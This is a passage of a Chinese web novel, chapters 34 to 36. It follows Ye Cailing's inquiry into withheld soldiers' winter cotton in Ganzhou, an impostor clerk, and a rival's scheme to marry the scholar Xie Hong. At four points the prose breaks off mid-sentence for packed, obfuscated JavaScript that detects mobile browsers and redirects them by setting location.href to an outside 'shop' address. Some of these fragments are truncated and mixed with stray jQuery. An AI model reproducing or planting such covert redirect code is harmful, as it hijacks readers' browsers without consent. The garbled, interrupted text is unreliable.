村口有棵枝叶落尽的树，两个小童在那里踢一个枯草团成的球，见到有陌生人来，却是警惕地看了一眼，立刻四散奔逃。 “枢兰拐子，枢兰拐子来嘞——” 他们身上并没有袄子，看着像是套了很多层单衣似的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464272|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶采苓见满目黄沙，无声叹口气。 终于等到村里的话事人出来，那老者头发灰白，讲话倒仍是利落。 听叶采苓讲明来意，言语里仍然透着警惕的疏离。 “姑娘问我们这里征税情况？” “好着的，好着的，都是按规矩来的。” 叶采苓并不多言，只拉了个板凳坐了，却是与老人拉起了家常。 几句话下来，伍师傅立在一旁观察着，面色依然波澜不惊，心里却有几分惊讶之意。 谢泓与伍氏镖局是故交。因此那日谢泓有事相求，他作为大掌柜，也是亲自出面护送。但见护送的是这么个柔弱女子，心里未免也有几分疑虑。 这几日，却见她手腕果决，对着不同的人施以不同手段。 此时与老者讲了一晌话，对方却已经放下了警惕。拿出一张被翻得有些卷边的账本给叶采苓看。 “好官嘞，何主簿真的是好官。” 老者道：“县里要加盐税、田税，不管我们的死活。今年秋天冷得很，雨水多，粮食收的少。喏，这是何主簿帮我们写的条子，征税的兵见了这条子，也收敛了些。” 叶采苓接过这簿子仔细看来。 她文书审的多了，此刻却是能看出来，老者所言非虚。并没有伪造的痕迹，而是的确写了要求暂缓征税的字迹，还加盖了名章。 只是这字迹看着，有些奇怪。 她温声问道：“老人家，这字为何有些深浅不一？” 那笔字，能看出来有练习过的痕迹，但奇怪的是有些明明能书写的很规整的字体，笔画却有深浅之分，连带着字迹也有些微的抖动扭曲。 像是写字的人在匆忙之中写的，可每一笔落笔又很用力，不像是为了赶时间。 老者点点头。 “你们不知晓，何主簿前些年去沙原上，被马碾了手嘞，这个指头没嘞。”说着拿手比划起来。 叶采苓了然。若是如此，便可以解释这字迹的问题了。 她也看出来此时老者讲话是真诚的。 告辞之前特地安抚了老者，道苛捐杂税已经被她记录在案，日后会有更好的处理措施。 “姑娘现下打算去哪里？” 眼见着进了甘州城门，伍师傅出声道。 叶采苓凝神片刻，“我回去换身衣服，你且送我去见何主簿。” “得令。今日探访下来，我见他的确是个好官。”伍师傅赞同道：“寻他大抵有些效用。” 叶采苓换了一身交领袍，将头发束起归拢，前往何主簿的住所。 此刻她脑海中的调查计划已经成型。联合何主簿，从他那里寻找线索作为突破，再由何主簿引荐，前往漠北营地，去实地探访军士。 甘州是个小城，除了几位官阶稍高些的官吏住在县衙里，其余主簿文书之类的小吏都各自在家中居住。 何主簿的家便是一处寻常院落，在巷南边。 叶采苓问过邻居，轻轻叩响了门环。 里面的男子过了许久才应门。 叶采苓带着些歉意，在门扇打开的时候便出言道：“何主簿，知道你身体抱恙，还来叨扰，实在愧疚万分。” 男子一愣，道：“无妨……只是姑娘今日过来，寻我有何事？” 叶采苓感到一丝微妙的违和。 他表现出来的态度，却是与她很熟悉的样子。 明明此前从未见过。 此刻她留了个神，几句话说明来意，却没有贸然提及要何主簿配合的话。 何主簿引着她走到院里坐了，又招呼着递上茶水。 叶采苓不动声色地打量着他的手，又不甘心地再暗自数了一遍。 十指……均是完好。 再看此人镇定的模样，却是品出来几分不对劲。 34. 第 34 章 叶采苓感觉血管里的血正在冷却下来。 但凡有一点风险，她都不能笃定面前的人是值得相信的。 先前想好的路线在此刻被全盘推翻。 ——这步棋走错了，但现下还有转圜的余地。 她维持着恰如其分的亲切，像个从京中初次来边塞的女官一样，只问了问何主簿甘州的风土人情。 目光在这位主簿的居所里散散地转了一圈。 有散落的书册，有尚未填写的文书。书架一侧，不引人注目的地方，有一个褐色的牛皮小筒。 何主簿的目光一直紧盯着她，她只能掩饰自己的目光，向其余地方走去了。 心里却在反复描摹刚刚看到的那物件。 牛皮鞣制，边缘用皮质的细绳连接。没有错，此物形制，像是枢兰人常用的传信筒。 再结合此前因为兵士棉衣产生的哗变，一个她并不愿设想的念头在心里缓缓成型。 若枢兰人对大周的渗透，已经到了这种地步。边塞重镇的官吏被收买，或者更差的结果是，已经被直接替换掉。 下一步，边塞还能维持表面的和平么？ 回京之后，一定要禀报。 叶采苓目光不动声色转向院外。而对方的眼神已经有些狐疑。 她将要告辞离开的时候，忽然被何主簿叫住。 “叶女官……是京中委派？此番回京，可要向户部上报什么？” 叶采苓微微蹙眉，何主簿也正在打量着她。 而面前的女子此刻挺直脊背，只像没有听到一样，沉静地起身。行走间步伐端庄。 因为她的沉默，却让何主簿不由得生出一种奇怪的感觉，就好像他刚刚的问话是在冒犯她一样。 有些时候沉默反而是一种力量。 叶采苓端住仪态向外行，只在踏出院门的时候微微偏头，表情冷淡。 “户部之事，你应当去寻户部各司郎中。我此番过来，也只是例行的巡视。” “但甘州风物凋敝，你们身为父母官，应该有所感应。何须探户部口风？” 言语之前恰到好处的敲打，让何主簿心里一凛。 当下也并不打算试探，只道：“叶女官说的是。” 三步并作两步的起身送客了。 叶采苓强撑着走到巷口，见何主簿并没有送到此处，方才稍微放松了些警惕。 回到住所，她立即叫醒侍女霜儿。 “霜儿，你且备车。” 此处不对劲。 她离开之时在何主簿院子里见到许多罐子，用黑油布蒙了，整齐的摞在背阴处。她只往近处走了几步，一种刺鼻的油烟味道便扑面而来。 像是她曾经在印坊时，燃烧松木留下的烟气，却远远比那刺鼻。 如此大剂量的油，只要一点火星便可以引燃。就好像他备齐这些东西，就是在等待一场大火一样。 什么样的人需要一场火？ 借大火金蝉脱壳的人。 今日经历的已经足够多，叶采苓料想甘州官吏再警惕，此刻也会觉得她不再出行了。 心中的疑团逐渐堆砌起来，此刻都向着一个方向汇聚。 出城。 马车借着夜色掩盖，在出城的道路上疾行。 到达离漠北玄甲营最近的驻地，已经是晨曦初露。 漠北雪片极大，层层落在盐碱地上，让干枯的风滚草也染上了白色。 京中也在落雪。 温道盈就在这样的细雪里，收到了从云州千里迢迢递来的信物。 打开包裹时她的手有些许的颤抖。 包裹内是一块玉牌。巴掌大小，玉色润泽。雕的是一对长足白鹤，正在引颈望月。 与那日澜月姑姑描述的，几乎分毫不差。 她与澜月姑姑刻意交好，便是为了探听曾经云州发生过何事，谢泓又在寻何人。 澜月姑姑是宫中的老人了，听得的密辛有许多。 “长公主她们如此在意云州，合该是因为……云州或许有皇室血脉。” “皇室血脉？” “曾有位宫妃因为家族里犯了死罪，她亦被牵连流放。传说她躲去了云州。” 澜月道：“此事知晓的人并不多。因得当时断案失误，并不光彩。帝王家并不想与民众有过多的牵扯。” “她离宫的时候，并无人知晓她已怀身孕。等洗清冤屈的时候，她已经不在人世了。那孩子也从未出现过。若他在，合该是个皇子或公主。” 澜月虽然有心与温道盈说，讲的也是含糊不清，这种事情自然不好讲得太详细。 温道盈轻叹一声，拉着澜月姑姑的手。 “我自然是知晓的，只是因为我自小便在云州长大，故对这些事情可能是有些了解。” “只是这些事情多有避讳。”澜月道：“还是少窥探为好。” 温道盈提起裙角福了一礼，低眉称是。 待回到温府自己的院落，却是当即唤了一名小厮过来。 “我记得你家乡是云州？可会说云州官话？” 小厮连连点头。温道盈满意道：“如此便对了。” “你且听好。”她简要地讲了自己的要求，只道：“闲暇时多打问着。云州那里民风朴实，你多与当地人打好交道。若无我要的东西——你、还有你的家眷，回来便等着领罚罢。” 那人连连磕头，口称一定会竭尽全力去查。 小厮并不知悉，云州此前已经被谢泓并长公主的人不动声色地查过。只是知道，前几日自己的确没有收获。 而到了倦怠的时候，却在赌坊门口遇到一人。 杜氏已经病死，叶大尚未颓废几日，已经又被赌坊勾了去。他思前想后，仍不敢当掉家里最后值钱的东西。 只想着抵押给赌坊算了。 赌大小的铁盅旁边，放着的就是那块玉牌。阴差阳错，温家小厮没费多少力，便连哄带骗将那玉牌搞到了手。 当下便不敢多留，立即启程回京。 现下玉牌到了温道盈手中，还带着些寒凉。她拿手摩挲着这玉牌，心里转过许多念头。 最后却是唤了婢女来。 “你且把此物收好，务必看管好。不许有疏漏。”婢女喏喏退下。 次日，温道盈绾起头发，择了一身庄重些的装扮，算好了时辰径直去了宫中。时间卡的巧，正碰上朝臣下朝。 内阁几位阁员行在人群最前头。 她一眼望见的便是谢泓。 绯色官袍衬他清朗面容，此刻沉稳地行在宫墙之旁。 他一贯是气定神闲的，却莫名地，让人在人群之中一眼只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483216|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望到他。 谢泓并不知晓温道盈是这样的心思。见到温道盈，他只从容行一礼。 是臣子礼，温道盈也依样还礼，语气里的关怀却很明显。 “谢学士，几日未见，可否安好？” “是啊，听说温女官告假返乡了几日。”谢泓寒暄道。 “正是，我返乡去陪伴家母。说起来云州尚在秋日呢，许多树尚未落下叶来。” “云州偏南，气候少变幻。的确和京中不同。” 提到云州，谢泓的眉眼也温和了几分。 温道盈看在眼里，心头一动。 怀中的玉牌此时就好像有了生命一样，在她身侧叫嚣着。 若其他人都在寻找这云州的玉牌，它背后除了那一桩宫闱秘辛之外，一定还有些别的东西。 此物定有用处，她只是还欠缺些信息，不知晓该如何利用。 正如此想着，谢泓已经礼貌地一颔首。 眸光略显清冷，并不再与她搭话。 两人便如此擦肩而过。 温道盈望着他修长清癯的背影，清晰地听到自己心跳的声音。 她今日入宫，定要探到长公主的口风。看看当年那一桩云州之事，为何牵扯得如此深远。 又为何让谢泓念念不忘。 * 她挑这个日子，正是因为长公主会来太后宫中陪伴。 此时温道盈一入偏殿，便见到长公主。 长公主也在太后宫中候着，太后尚未露面。见到她，语气亲切，并未刻意端着架子，开口招呼了她一句。 “见过长公主。”温道盈规规矩矩地行礼，问过公主身体康健后，方道：“近日京中雨雪多些，公主府上可好？” 长公主眉间有些忧色，却并未过多商议天气，而是话锋一转问道：“温女官，此前漠北一事我曾命你联络。现下可有新消息？” 温道盈一怔。 本来是打算先聊几句，再抛出玉牌的话题，这么一讲却是想起来了漠北军需查勘一事。 “此前去漠北之人已经到达，但漠北路遥，尚未有准确消息报来。” 长公主忧道：“哗变原因，何人主使，军需又是由谁分配的。都没有消息么？此前谢学士已经与我商议过此事，涉及军需物资，事关重大。他的想法是应该着实查。” “的确，我再修书给先前的传信人。让她多多留神些。” 长公主抬手制止：“漠北苦寒，民风也彪悍些。你将消息汇总即可，切不要心急催她。以防反而耽误此事。” “公主说的是。” 温道盈点头称是。 长公主道：“我记得是小叶去的吧？宣岑与我说了，她性子沉稳，不用催她也能成事。” “小叶她……性子的确沉稳。” 温道盈只能继续附和，只是她面上在夸，却感觉像憋了一口气在胸口一样。 为何。 叶采苓她明明方入朝没几日，却能在长公主面前留下印象。连谢泓也替她说话。 她缓缓吐出那一口气。 却又下意识地确认了一下怀中的玉牌还在。 无妨……自己此时拥有的底牌，应当是远远胜过她。 眼见着太后结束议事，温道盈眸光温婉，乖觉地立在下首，向太后行礼问安。 35. 第 35 章 天色阴霾不见日头，沉沉的雪片落在官道上，路旁上了风灯。 叶采苓顾不上休息，已经一路夙夜狂奔。自从离开甘州，她便未曾歇息，只想尽快将证物递回京。 风雪中她感到袖中有一物在硌着她，触及发现是火石。 ——是那日在军营中查勘之时，军中一名行伍长赠予她的。 她那日前去边塞兵营，起初屡屡碰壁。 玄甲军的兵士们，一部分前去边塞巡守，留在营地的却都只顾着修缮营帐。听闻她是京中来的，也并不多讲话。 态度有些麻木。 还是一位伍长看不下去，悄悄将她拉到一边，道：“这位姑娘，我知晓你是出于好意，但没用的。” “你绕了许多弯子来问，但我猜，你们就是要查军需棉衣可有克扣，是么？” 叶采苓一顿，只默默点头。 “那我便直说，当初下发的那棉衣只絮一层薄棉，余下的都是不知道哪里来的芦蓿。” 伍长道：“穿着那衣服，去边塞巡守，能直接冻死人。换班的时候，我们方发现有人身体都僵了。” “如此，主将并不管事么？” “兄弟们已经想过办法了。”伍长摇头：“我们找主将报过许多次，还找过那位甘州县衙的何泊山。只是，泊山兄说是去甘州寻人，却是再也没有回来，连书信也不曾回了。” “谁？何泊山，他的官职可是主簿？”叶采苓捕捉到一个熟悉的名字。 “正是。” 伍长见她认识何主簿，更觉得亲切了些。摇头叹息道。 “活生生的人哪，没有死在战场上，先因为身上的衣裳死了。谁能甘心哪？” “那日何主簿来营里，听兄弟们这么说了，便说要查。后来又要了纸笔，带着书信走了。” 伍长语气沉重。 “后来天气越发寒，没见何主簿回来，我们便遣人去中帐报过。也闹过。” 他左右望望，方压低声音道：“那些人没有回来。说是被当成反贼拿下了。” 叶采苓了然。怪不得兵营里的人都三缄其口。想来是之前动过上报的念头，却被压下，大抵是心寒了。 伍长拧着眉头在她一旁站着，不多时道：“叶女官，外头苦寒。你们也早些离开吧。” 叶采苓顺着他的目光向遥远的天际看去。 地平线上阴沉的云团正在飘过来。 伍长犹豫了一下，回身去营帐里取了一块火石，交到她手里。 “此地苦寒。当早日返京。我们已经知晓有人愿意帮我们，但天高皇帝远，在甘州这个地界，只能听主将的。” “主将的眼睛只盯着上面的官，却不曾低下看看我们这些寻常的小卒。” “走罢，这里并不只有我。若是走漏风声，怕是回不去了。” 伍长所言非虚。 叶采苓在这里站的一会子工夫，方才并未理她的那些兵士里，却有人已经反复抬头打量起来了。 人心不会是齐的，若有人去报信呢？ 听伍长那话，主将已经将先前兵士们讨说法的事情定性为哗变，连着冻死的兵士也只上报成因为哗变而死亡的。 她抿唇立在那里，感到久违的无力。 此地上下铁板一块，而现在身处甘州的何主簿是否已经被杀？ 似乎已经听到有脚步声，电光火石之间，她忽地盯住伍长。 “我还有一事，何主簿调查的时候，可有备份信文？” 伍长一拍脑门。 “说不定是有的。走，我带你去营帐里看看。” 营帐里不甚明亮。 为了最大限度抵御寒风，兵士们除了用下发的油布搭起篷子，上面又盖了些各色布料。 叶采苓呼吸着有些账内有些浊闷的空气，点起了油灯。 她低头在地上翻找着，果然，这里有一个包的极好的包裹。 主人很用心，细致地将里面的物品分门别类放了。 她伸手触摸包裹里的证物，有几分颤抖。 “女官？叶女官？” 伍长声音有些慌张：“巡查的兵卒来了，你且不要出声，要记得藏好。” 叶采苓低头翻着那包裹，闷闷地应声。 勉力收拾好情绪。 她抬眼，眼眶有些湿润，但眼底却一改这几日的忧色，有种如释重负之感。 账本里密密麻麻地。记着的正是甘州实际领用物资的情况。 “大周十八年五月，县衙支取五匹棉，实际领用二十匹，记录在册。” “秋日军需到货，已由县令验收合格，但实际兵士服装仅用单针缝制。所用布料单薄易损。” “留样一件。” “冬日棉衣尚未验收。并未确认供应质量，已发现有棉花发霉情况，留样。” 这账本下面，压着的便是何泊山留样的包裹。 这是极有力的物证，若能带回京中，定有大用。 她长舒一口气。 甘州并非她想象中的上下沆瀣一气，仍有人在为民请命。 所幸那日在甘州城，她谨慎的没有透露口风。那日见到的，绝对不会是留下账本的人。两人所关心的事件都不同，甘州城那位何主簿，不断在试探她。 而今日透过这账本，她读到的，则更像民众口中的那个真实的何主簿。 为民请命。 何泊山。 家国需要有人照亮，他便以身去燃那盏风灯。 她抬起眼，望着伍长，神色笃定。 “你们且等着好消息。先不要走露风声。” “我有把握，此事能顺利敲定。” * 京外，一驾马车正在疾行。 叶采苓从兵营出来，便星夜兼程往回赶。 她要回来上报。 路上，她曾在京外驿站停留了片刻。仔细看过邮报，却发现并没有京中传给她的消息。 谢泓往常会给她及时回应的，但这几日来信终止了。而自己日常上报消息给温道盈，她也没有回应。 但此时已经容不得她多想。 眼见着入冬气候只会一天寒似一天，一定要尽早把消息报上去。 回到住所已是子时。 她整夜未合眼，次日一早便去长公主府拜会。去之前没有忘记叮嘱侍女，及时去谢府报消息。 长公主今日神色有些倦意，叶采苓敛目拜见过，只将一物呈上。 长公主带着些疑惑，身后的婢女接过去看了。 那是一件军中的棉衣，几乎都是完全破损了。 “这是军中实际穿着的服制。”叶采苓道。 “这……能抵御寒风么？”长公主迟疑。 “自然是不能。” 叶采苓沉声报上。 “……这便是我这些日子在甘州所见。但甘州此案牵扯深远，我只能将疑点先一一列明。” 长公主以手支颐。 眉目间极为沉重，她轻叹一口气。 “越临近年关，事务是越繁杂。也越不太平。” “正是。明日早朝，可需要我将棉衣案的查勘结果报给温女官，由她上奏？”叶采苓道：“今日之事合该由温女官上报的，只是下官昨日抵京，却并未与温女官联络上。” 其实与谢泓也没有联络上，但这话与今日之事无关，她便也并未与长公主说。 长公主仿佛忽地回过神来。望着她，只摇摇头。 “近日朝中不太平。你且不要上朝。我见小温也并不像……不知怎么的，太后那边却……” 她忽地住口，像并没有什么事情发生一样。 敛目转回不动声色的样子。 道：“你且回去吧。” 叶采苓深深地向长公主拜下。 “将士们苦守边塞，是为了大周安定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509634|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，朝廷切不可辜其忠诚。采苓恳请长公主，彻查此事。” 长公主微微点头。 过了一会儿又叹口气，则是唤了一名侍女过来。 “谢学士他，还在太后那边么？” 侍女点点头。 “温女官在那边哭诉，现下太后尚未放人。” 温道盈步履匆匆地进了太后所在的慈宁宫。 皇后、太后，与外臣谢泓。此刻这些人都聚在这里，看着有些奇怪。 温道盈心里却是了然。 迎着谢泓寒冷的眼神，她只楚楚可怜地跪在殿中，向上首的两位行了跪礼。 “温女官且起。” 太后带着些宽慰之意对她讲，转到谢泓那边。 “谢学士——” 谢泓冷着脸，就像没有见到身边的温道盈一样。 温道盈求赐婚，竟然求到太后这里，他着实没有想到。况且他就算求娶，求的也不会是此人。 “小温，你与谢泓自幼有缘。不是么？”太后温声道。 温道盈不用看，便知道太后手里摩挲的，正是那块云州寻来的羊脂玉牌。 她点头称是。 谢泓目光霜雪一样冰寒，抬头瞥了一眼那物便径直低眉，移开目光。 “承蒙太后恩典。但微臣与她，并无瓜葛。” 太后眼神移向温道盈，她胸有成竹，只道：“臣女幼时在云州。云州有一处原野，名唤枫心原。” “幼时曾与谢学士常在那原野嬉闹。自幼……青梅竹马。” “笑话，我与谁青梅竹马，我自己能不记得么？” 太后只微微按下话头，语气带着些沉肃。 “这几日适逢瑞鹤宴，钦天监已有表文，瑞鹤宴前后，正宜婚配。都是好日子。” “朝中合该有一场门当户对的大婚了。” 自从见了那玉佩，太后行事便异乎寻常地果决。 谢泓抿着唇，仿佛未曾听见一样。 对于臣子，这已经是有些失礼的表现了。 但他端直脊背，并未作答。 * 叶采苓报完便回到她在京中的住所。 行月茶楼的小厮赶忙前来接过她手中的包袱，热切道：“怎的主子独自一人回来了？” 叶采苓眉头微蹙。 “静霜她们没有回来么？” 为了尽快赶路，她将车马托付给了婢女静霜，又将谢泓带来的伍师傅也托给她。 心想着一路有伍师傅的保护，也是稳妥的。 如今她回京之后，也过了一天一夜，这两个人怎的还没有回来？会不会是，路上出了些事。 叶采苓心里又有些忧愁，便又吩咐道：“启程。我们且去谢府。” 是谢泓寻到的镖局，请来的伍师傅，他应该有联络到镖局的方法。 只是谢府宅院出人意料地紧闭。 那门童认得叶采苓，却有几分苦恼地挠挠头。 “叶姑娘，并不是我不让你进。” “实在是近些日子府里下了死命令，主子不见客，不出行。” “怎会如此？” 叶采苓怔住。 门童好心，又补上一句：“并不是针对姑娘，而是所有人都如此的。自从主子前日被召入宫中，就再没有回音了。” “如此，多谢你。” 她怀着重重疑虑，也只能先行离去。 再回茶楼，却见一只信鸟，身上被箭矢射中，已是死亡。就像有人刻意不让她根据信鸟找到来源一样。 她拆下信鸟腿上的传信筒，心已经提了起来，与甘州如出一辙的信筒，是枢兰人。 写汉字的笔触不甚纯熟。 内容却叫人触目惊心。 伍师傅与静霜未死，但他们在对方的手上。 那人以两条人命为要挟，要她带着账本送回甘州。 此事尚未分明。 36. 第 36 章 再到沧蒙江，也不过一日的工夫。 江水湿冷，江心打着水涡，一望便知湍急惊险。 但此刻江边集结的车驾与骏马却硬生生地冲淡了这种氛围。大红囍字依次贴在每一驾马车上，马首都戴着鲜红的绢纱花朵，喜气洋洋。 是谁家嫁娶的聘礼，还是嫁妆？ 叶采苓顾不得这些。后续又传来了信，她依照信鸟的提示，到了沧蒙江岸一处客栈落脚。 “是叶女官啊，你怎么在此处？” 她到达约定的那间客栈，方在大堂坐定，便听到一声招呼。 是曾经在甘州院落里见到的那位，何主簿。 “我来此地，自有缘由。”叶采苓淡然道：“倒是泊山兄，不在甘州做主簿，来此地有何事？” 何主簿微微掀起眼皮：“那自然是有要事。” 气氛诡谲，叶采苓不欲再与他周旋，缓缓起身：“如此，我便先离去了。” 肩膀上感觉到一双手，带着血腥气，狠狠地压在她身上。 她镇定地转身。客栈里已经悄无声息地进了三个人，看所持手戟，都是枢兰杀手。 某种先前逊顺的影子忽地从她身上剥去了。 叶采苓眸光冷寒，道：“如此，又何必遮掩什么——你顶替何主簿，有什么目的？” “何主簿”只笑。“姑娘若还想救人，就不必多说废话。我们要的东西，带来了么？” 叶采苓只从容地摇摇头：“账本我自然是带来的，但我要见到人。” “我要先见人。” 何主簿盯着她看了许久。 “又耍什么花招。” 剑拔弩张之际，门外忽地进来一名年轻女子。就好像凝结的空气忽地又重新开始流动一样， 她用一顶斗笠挡住脸，扬声问道：“可有茶水？” 是来住店的客人么。 “怎么放人进来了？”何主簿一愣。“乌影，你们人呢？” 客栈外死一般的寂静。 女子缓缓地行走，裙角淋漓有血迹。她只微微一笑，好似并未察觉那鲜血一般。 叶采苓听着这女声，反复在脑海里过了两遍。 她先前来沧蒙江渡口之前，是与京中报过的。当时长公主传信来，叫她放心去。说会有援兵跟在她后面。 她自然不会以身犯险，有了长公主的承诺，这才坦然地前来。 只是，援兵竟然是温道盈带来的么。 但此时形势的确因为温道盈的前来而倒转。 那位假冒的何主簿只来得及再喊了几声，便被外面奔来的侍卫控制住了咽喉。 京中训练有素的侍卫迅速接管了此处。 “小姐，裙角有血。” 温道盈一挥手，自有人低头奉上尚温热的茶水。她自斟自饮了一口：“无妨。方才侍卫剿匪时，大抵沾上了些罢。” 叶采苓今日奔波了一天，水米未进。此时后知后觉地感到腹内有些绞痛起来。 她不去看那茶水，只公事公办道。 “温女官，昨日我方回京。带回来的证据已经呈给长公主了。” 温道盈点点头。 “你说上报之事么？大可以放心。” 她轻笑。 “我此前已经遣人去漠北查勘，保留许多证据，前些日子已经呈给圣上。” 不可能。 叶采苓心道，若是如此，自己这些日子刀尖舔血拿到的证据又算是什么呢？ “这些账本与往来，是我自己从漠北取来的。”叶采苓抿唇。“敢问温女官，上报的又是何证据？” “这就不劳你费心了。” 温道盈避重就轻。只笑道。 “今日遣我来，也是因为恰有私事要在此处渡江。长公主索性一并把此事也交给了我。”她弯起红唇笑：“你可见江边红妆？正是我过些日子大婚要用的。” 大婚？ 离京之前尚未有信，怎的突然却要婚嫁了。 “如此，那便恭喜温女官，百年好合。” 叶采苓并不关心此事。 此时侍女静霜跌跌撞撞从外面跑来，见到叶采苓，眼泪夺眶而出。 温道盈带着一抹怜悯的微笑起身。 离开客栈，回首轻轻扔下一句话给一旁谦恭弯腰的家仆。 “找个机会——告诉她，我要与谁成婚。” 家仆喏喏点头。 * 叶采苓拉着静霜向外行。 “姑娘今日还未吃上些吃食，不晓得可有食肆在这个时候开售的。”静霜纵然刚从枢兰人那里逃出来，心里依旧心心念念着叶采苓。 叶采苓微微摇摇头，道无妨。 静霜正望着前面的车驾，道这些车马像是要办喜事，看着像是雇了江边的住民拉车。她抬手揩了揩脸上的尘土，笑着过去问对方食肆之事。 回来时却尚未掩藏好脸上的惊讶神色。 叶采苓察觉有异，只道：“何事？你且说来。” 这几日经历的事情的确是太过繁杂了。 她已经感觉到头脑里好像绷着一根细细的弦。从离京开始，所遇事情就变得复杂起来。 塞外风云骤变，所遇之人都各怀心思。在一片迷蒙中，她竭力前行，最后堪堪寻到些许真相，却又面临生死关。 此刻还能支撑她的，好像就是出行之前谢泓的那些话。 此时已经入冬了，她身上着的还是谢泓当时赠送的那件大氅。 腹中传来隐隐的钝痛，好像是这些日子，吃得东西的确是太少了。 静霜担忧地扶住她。 “小姐，他们说是，谢温两家联姻。” “谢学士，要迎娶温姑娘。” 叶采苓摇摇头：“哪个谢学士？” “谢泓。”静霜咬咬牙，还是说出了这个名字。 叶采苓自然不会相信。 但就是这么巧，先前跟着那陪嫁的车夫此刻正拖着车子行过食肆。 “这次排场真是大的很啊。女儿家的陪嫁从京外一车一车的运来。” 有个年纪小些的小厮，笑嘻嘻地道。 “师傅还是小瞧我们家姑娘了。那是京中女官，太后极看重的。这次大婚，圣上特意下旨，要风风光光的大办。” 小厮望见她们主仆二人，笑道：“不如你让这二位姑娘评评理，你们说，这桩与谢大学士的婚事，是不是极好？” 静霜只做没听见。 叶采苓却并不能全当耳旁风。 他不是说自己要等她回来么？ 叶采苓眨眨眼，试图摒弃此刻眼底缓缓上升的情绪，却是莫名其妙的扯了扯唇角。 他还是她记忆里那个人。 依旧皎如天上月。 可，成婚的人怎么会是他呢？ 小厮见她脸上没有露出什么夸张的神色，谨记着温道盈的嘱咐，又添油加醋地描述了一番。 宫中瑞鹤宴，谢学士与温女官情投意合。太后亲下懿旨，一众朝臣见证。 二人婚期已定。 叶采苓缓缓地听着。 心里在一点点下坠。谢泓像一阵风，此刻又从她生命里席卷而去了。他此前有给她做过什么保证么？什么都没有罢。 他们只是同路过一段。 他留给她的，仍然只有一个立在前方的背影。 * 回程路上还需渡江。 叶采苓无意识地吐出了一口气。 心头是从未有过的疲惫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520080|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 实则也并没有很想再回去了。长公主那边事情已经办妥。纵然温道盈可能会抢走功劳，但她也并不想再接手。 她已经为民请命了太多次。 这次却破天荒地觉得，此前坚守的那些都像个无谓的笑话。 “静霜，伍师傅怎么还未能跟上来？” 船将要行，她们两个却没见到伍师傅。 “应是与我一同被放出来的，之前还见到人的。”静霜也有些奇怪，四处张望着。 冷不防船锚被松开。渡船向着江心逐渐滑去。 “你细瞧，岸上那人可是伍师傅？” 叶采苓眯了眼仔细看去。 岸边一道魁梧身影，此刻正双手挥舞，有几分急切的模样。 “怎么回事？为何看起来如此着急。” 伍师傅镖师出身，押镖讲究的便是面不改色，再珍贵的物件也要从容地护送到位。如今却不知道为何。 他反复挥着手，见叶采苓不解，又指向自己的头。 静霜叹口气，只回头对叶采苓说：“小姐，我看伍师傅可能是被关得太累了些。实在是看不懂他所为何事啊。” 叶采苓尚在努力思索。不对，心里有个声音一直在模模糊糊地说着话，试图从她今日已经被重重打击折磨得有些不甚敏锐的意识里，挣出来。 目光不自觉地移动向周围。 她忽地抬手推静霜，语气里有几分谨慎，压得低了些。 “静霜，你可知晓这江边渡口上，渡船的时辰。” 静霜摇摇头：“不就是每个时辰一班……”话语卡在喉咙口，她倒吸一口凉气。 “小姐，你的意思是——” “这个时候，本来没有渡船。”叶采苓一字一句地说。 “那我们此时坐的船是……小姐！小姐！” 静霜忽地扯着嗓子喊起来。 “救命啊，谁来救救我们——” 前方船首，船夫摘下斗笠，伸手摸出的竟然也是一柄手戟。 “你们。”他有着明显的异域相貌，讲话并不很纯熟。 望着年纪不大，竟然是少年模样。 此刻一步一步朝她们走来，留下的鞋印是血迹特有的铁锈红。 他的鞋底已经蘸上血了，他已经杀过人。果然，身体移动开之后，身后真正的船夫尸体显露出来。 事情并不复杂。 枢兰少年跟着阿爸到中原来。 阿爸去江边谈事情，他在船上歇息。却看到阿爸与这些中原人并未商议多久，便被凶煞的官差抓走了。 被大周人抓走，只会有来无回。 “你们，把我阿爸还回来。” 尖刀越来越近，直抵到她下巴。叶采苓心脏狂跳，知道对这样的半大异族少年，很难沟通清楚道理。 她只得拉着静霜勉力后退，直到身子抵上船舷。 